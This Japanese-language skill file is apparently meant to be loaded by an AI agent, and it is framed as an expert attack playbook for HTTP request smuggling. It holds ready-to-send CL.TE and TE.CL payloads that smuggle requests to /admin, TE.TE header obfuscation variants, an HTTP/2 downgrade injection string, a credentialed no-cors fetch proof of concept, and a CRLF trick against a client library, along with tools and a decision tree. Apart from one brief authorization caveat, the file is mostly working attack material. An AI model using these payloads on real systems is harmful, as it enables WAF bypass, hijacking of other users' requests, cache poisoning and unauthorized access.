SKILL: HTTP リクエストスマグリング — エキスパート攻撃プレイブック

AI ロード指示: エキスパート HTTP 非同期化技術。CL.TE、TE.CL、TE.TE 難読化バリアント、HTTP/2 ダウングレードおよび疑似ヘッダー混同、クライアント側非同期化（ブラウザ fetch パイプライン）、およびツール支援ファジングをカバーします。生の HTTP/1.1 フレーミングとリバースプロキシトポロジーに精通していることを前提とします。これは「ヘッダー インジェクション」ではなく、ホップ間の メッセージ境界の不一致 です。

ルーティング注記: CDN/リバースプロキシとオリジンがリクエスト終了境界に関して見解が相違していると疑われる場合、または H2-to-H1 ダウングレード中に異常な連結が発生する場合にこのスキルをロードしてください。

0. 関連ルーティング

• ghost-bits-cast-attack HTTP クライアント ライブラリが Apache HttpClient <= 4.5.9（HTTPCLIENT-1974/1978）の場合 — ヘッダー値に 瘍瘊（U+760D U+760A、低バイト \r\n）を挿入すると、基になる char-to-byte ライターがリテラル CRLF を生成し、CL/TE 不一致に頼らずにオリジンでリクエストを分割します

1. クイックスタート

CL.TE 最初のプローブ（フロントエンドが CL を信頼、バックエンドがチャンク化を信頼）

前提条件: フロントエンドは Content-Length を優先し、バックエンドは Transfer-Encoding: chunked を優先します。フロントエンドが偽りの終了を受け入れるように非常に短い CL を使用し、バックエンドはチャンク解析を続行して残りのバイトを次のリクエスト用に残します。

POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

• フロントエンドは Content-Length: 13 に基づいて 13 バイトのみを読み取り（つまり 0\r\n\r\nSMUGGLED、合計 13 バイト）、リクエストが完了したと見なします。
• バックエンドはチャンク化として解析されます: 0 終了チャンク後、SMUGGLED 以降 を 次のリクエスト の開始バイトストリームとして扱います。

TE.CL 最初のプローブ（フロントエンドがチャンク化を信頼、バックエンドが CL を信頼）

前提条件: フロントエンドはチャンク化を解析し、バックエンドは Content-Length のみを読み取ります。CL をチャンク長行のバイト数と同じ（通常は 4: 2 つの 16 進文字 + \r\n）に設定して、バックエンドは長さ行のみを消費し、残りをフォローアップ要求接続用にバッファリングします。

チャンク内に 2 番目のリクエストを埋め込みます（すべての行終了は CRLF です; 35 16 進チャンク長 = 53 バイト）:

POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

35
GET /admin HTTP/1.1
Host: target.example
Foo: x

0

ワイヤ上では、チャンク本体は正確に 53 バイトである必要があります。パス/ヘッダーを変更する場合は、チャンク長を再計算して 16 進長行を相応に更新してください。

安全上の注意

テストは 承認されたスコープ内でのみ 実行してください。同時スマグリングは接続プールを汚染し、キャッシュを破損したり、他のテナントに影響を与える可能性があります。分離された環境または低トラフィック ウィンドウを優先します。

---

1. コア概念

定義: 2 つ（またはそれ以上）の HTTP 処理エンティティが、同一の TCP/TLS ストリーム 内でリクエスト 1 が終了してリクエスト 2 がどこで始まるかについて見解が相違し、攻撃者が 部分的または完全な 2 番目のリクエストを 1 つの論理的なリクエスト内に含めることができます。

  クライアント      フロント（プロキシ/WAF）           バック（オリジン）
     |                     |                            |
     |==== リクエスト A+B =>|                            |
     |                     | 境界 #1 を解析               | 境界 #2 を解析
     |                     |         \                  |         /
     |                     |          異なる分割ポイント
     |                     |                            |
     v                     v                            v
                   リクエスト A（見える）     リクエスト A' + スマグリングされた B

CRLF インジェクションとの違い: CRLF は通常 レスポンス または ヘッダー行 に注入されます。スマグリングは RFC 7230 メッセージ フレーミング（Content-Length / chunked）の 実装の違い をターゲットにします。

高い価値のある影響: WAF ルール回避（スマグリングされたボディはフロントエンド リクエストで見えない）、共有オリジン接続で他のユーザーのリクエストをハイジャック（キュー汚染）、キャッシュ汚染アシスタンス、および認証境界混同。

---

2. CL.TE 脆弱性

パターン: フロントエンドは Content-Length を信頼します。バックエンドは Transfer-Encoding: chunked を信頼します。

正確な例（§0 と同じ）: Content-Length: 13 と Transfer-Encoding: chunked の両方が存在し、本体は:

0\r\n\r\nSMUGGLED

バイト数: 0 + \r\n + \r\n + SMUGGLED = 13。

バックエンド パースペクティブ: チャンク化されたストリームは 0\r\n\r\n で終了します。SMUGGLED が METHOD SP または別の有効なリクエスト プレフィックスで始まる場合、それは スマグリング要求行プレフィックス になります。

チューニング: ターゲットが重複ヘッダー、ケーシング、またはスペースに対して機密の場合、セマンティクスを保持しながら Transfer-Encoding バリアントを最小限に調整して（§4 を参照）、フロントエンドが TE を無視し、バックエンドが TE を実行するコンボに一致させます。

---

3. TE.CL 脆弱性

パターン: フロントエンドが チャンク化 を解析します。バックエンドは Content-Length（または短すぎる CL）のみを読み取ります。

意図: フロントエンドは悪意のあるバイト ストリーム全体をボディとして扱います。バックエンドは CL 長のみを読み取り、残りのバイトをバッファリングして後続の合法的なリクエストと接続します。

埋め込まれた 2 番目のリクエストを含む完全な TE.CL（§0 と同じファミリー; Content-Length: 4 + 最初のチャンク長行 35\r\n）:

POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

35
GET /admin HTTP/1.1
Host: target.example
Foo: x

0

説明:

• バックエンド（CL）: メッセージ本体開始から 4 バイトのみを読み取ります -> 3 5 \r \n、本体を完了としてマークし、残りのバイトを TCP 読み取りバッファに残します。
• フロントエンド（TE）: ストリーム全体をチャンク化として解析し、既に閉じられた最初のリクエスト の本体内容として GET /admin... を転送/消費します（製品に依存）。バックエンド境界解釈との不一致が TE.CL を形成します。

より長いスマグリング（例、POST + Content-Length: 11 + x=1）の場合、チャンク長は約 76（16 進数 0x76 = 118 バイト）です。Content-Length: 4 はバックエンドを長さ行のみ読み取りに固定できます。

実践的な注記: チャンク長は有効な 16 進数である必要があります。2 番目のリクエストはターゲット期待値（Host、パス、セッション クッキー）を満たす必要があります。タイミング ウィンドウと接続再利用戦略により、別のユーザーのリクエストをヒットするかどうかが決まります。

---

4. TE.TE 脆弱性

パターン: フロントエンドとバックエンドの両方が Transfer-Encoding を処理すると主張していますが、どの TE 値が有効または有効かで異なります。-> チャンク化されたものと一方が表示されず、同等の非同期化が生成されます。

次の 8 つの難読化バリアント を使用して、パーサー微分をプローブします（シングルライン表示; \t は実際の TAB を意味します）:

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: chunked

Transfer-Encoding: x

Transfer-Encoding:[TAB]chunked

（[TAB] を実際の \x09 に置き換えてください。）

 Transfer-Encoding: chunked

（行の開始時に 1 つの先頭スペース。）

X: X
Transfer-Encoding: chunked

（前の行の値は X で、次の行は Transfer-Encoding で始まります: これは 行継続 / 寛容なヘッダー解析 を使用するため、1 つのホップは行を誤ってマージまたは分割する可能性があります; X と Transfer-Encoding の間の区切り文字は、ターゲット スタックに応じて \n または \r\n の場合があります。）

Transfer-Encoding
: chunked

（フィールド名とコロンが 異なる物理行 にあります。一部のパーサーは依然として Transfer-Encoding: chunked として有効と扱います。）

戦略: 各（フロント、バック）ペアについて、どちら側が各バリアントを chunked として受け入れるかを列挙し、§2/§3 を使用して同等の CL.TE または TE.CL にマップします。

---

5. HTTP/2 リクエストスマグリング

H2 -> H1 ダウングレード

一般的なシナリオ: エッジが HTTP/2 をサポートし、オリジンが HTTP/1.1 を使用します。実装がヘッダー フィールドとボディ境界を厳密に正規化しない場合、以下を観察する可能性があります:

• 疑似ヘッダーから通常ヘッダーへのマッピング順序が正しくない;
• 禁止されたヘッダー（一部の Connection の組み合わせなど）が誤って転送される;
• 重複ヘッダー マージ ルールがオリジンと矛盾している。

疑似ヘッダー/ヘッダー インジェクション スマグリング（コンセプト ペイロード）

攻撃面は、ダウンストリーム H1 パーサーが特定のバイトを 新しいリクエストの開始 として扱う場合から来ています。一般的な研究/CTF アプローチは、1 つのレイヤーが無視するが別のレイヤーがリテラルに扱うヘッダー値内に近いリクエスト バイトを配置することです:

header ignored\r\n\r\nGET / HTTP/1.1\r\nHost: target

意味: 1 つのホップが完全な文字列をヘッダー値に保持し、次のホップが H1 再構成中に誤って分割した場合、解析は \r\n\r\n で新しい GET / HTTP/1.1 を開始する可能性があります。

テスト方向:

• H2 の Transfer-Encoding / Content-Length の重複とケース処理（H2 は小文字を必要としますが、変換レイヤーは失敗する可能性があります）;
• :method または :path に異常な文字が含まれる場合のダウングレード動作;
• トンネリングまたは拡張 CONNECT とスマグリング間の相互作用。

---

6. クライアント側非同期化

シナリオ: ブラウザ リクエスト ボディ処理がミドルウェア/オリジンと異なるか、no-cors + プリフライト除外 が非通常メッセージを許可し、古典的な CL.TE/TE.CL と同様のキュー効果を作成します（アーキテクチャに依存）。

HEAD + GET チェーン: 一部のスタックは歴史的に HEAD レスポンス本体を誤ったり、後続のパイプライン、または接続再利用を誤ったりしました。具体的なブラウザ バージョンとターゲット プロキシ動作で検証してください。

JavaScript PoC 形状（例示的: 本体を GET を含むロー バイトに設定し、no-cors と資格情報を使用）:

fetch("https://target.example/vulnerable", {
  method: "POST",
  mode: "no-cors",
  credentials: "include",
  body: "GET /admin HTTP/1.1\r\nHost: target.example\r\n\r\n"
});

注: ブラウザ セキュリティ モデルは直接の読み取り可能性を制限します。成功は多くの場合、同一接続上の他のリクエストへの副作用または異常なサーバー ログ/動作として表示され、直接的なレスポンス読み取りではありません。SOP、CORS、および拡張機能/プロキシ要因で評価してください。

---

7. ツール

ツール	目的
Burp Suite — HTTP Request Smuggler（BApp Store）	自動化された非同期化検出、一般的なバリアント、タイミング デルタ チェック
defparam/smuggler（GitHub）	スマグリング プローブのバッチ生成/送信用 Python スクリプト
dhmosfunk/simple-http-smuggler-generator（GitHub）	ロー CL.TE / TE.CL メッセージ テンプレートを素早く組み立てる

使用上のアドバイス: 最初に フロントエンド + オリジン 2 ホップ パスをパッシブに確認し、次に最小限に破壊的なプローブを選択し、本番環境での同時実行を低下させます。

---

8. 検出デシジョン ツリー

                        開始: パス内にリバースプロキシ / CDN がありますか?
                                    |
                    いいえ -----------+----------- はい
                    |                               |
            低い古典的スマグリング                   |
            （H2 非同期化をテストします）              v
                                            TE + CL を一緒に送信できますか?
                                                    |
                              いいえ ----------------+--------------- はい
                              |                                         |
                      H2 のみの問題をテスト               フロントはどちらを優先しますか?
                      （疑似ヘッダー、リセット）           |
                                        +-------------------------------+-------------------------------+
                                        |                               |                               |
                                   CL が勝つ                      TE が勝つ                      エラー /
                                        |                               |                          接続
                                        v                               v                               |
                                   CL.TE プローブ                TE.CL プローブ                TE.TE 難読化
                                   （Sec 0,2）                    （Sec 0,3）                   （Sec 4）
                                        |                               |                               |
                                        v                               v                               v
                              時間 / コンテンツ /              チャンク サイズ +          ペアワイズ マトリックス:
                              キュー汚染                      CL アラインメント            どちらのホップが
                              シグナル?                      を調整                      どちらのバリアントを受け入れますか?
                                        |                               |                               |
                                        +-------------------------------+-------------------------------+
                                                                        |
                                                                        v
                                                              2 番目のリクエスト スマグリング
                                                              で確認（リプレイ安全）
                                                              または Collaborator スタイル
                                                              サイド シグナル

---

詳細リファレンス

以下が必要な場合は H2_SMUGGLING_VARIANTS.md もロードしてください:

• バイトレベル ペイロード例を含む H2.CL および H2.TE バリアント
• CL.0（接続クローズ非同期化）— 技術と検出
• Fat GET リクエスト スマグリング（GET リクエストのボディ）
• リクエスト スマグリング → キャッシュ汚染チェーン（レスポンス キュー誤アラインメント）
• クライアント側非同期化（CSD） JavaScript PoC テンプレート付きブラウザ Fetch API 経由
• CDN/リバースプロキシ製品動作マトリックス（HAProxy、Nginx、Apache、Cloudflare、AWS ALB、Envoy、Varnish など）

---

12. 関連ルーティング

• 入力がインタープリター/クエリ言語/テンプレート に入ります（HTTP フレーミングではない）-> Injection Testing Router（次に XSS、SQLi、SSTI などにドリルダウン）。
• レスポンス ヘッダー分割 / Location CRLF -> CRLF Injection。
• キャッシュとパスキー混同 -> Web Cache Deception。

HTTP メッセージ境界 の問題としてこれが確認されたら、パラメーター インジェクション ワークフロー全般への誤ったルーティングを避けるために、このスキルにとどまってください。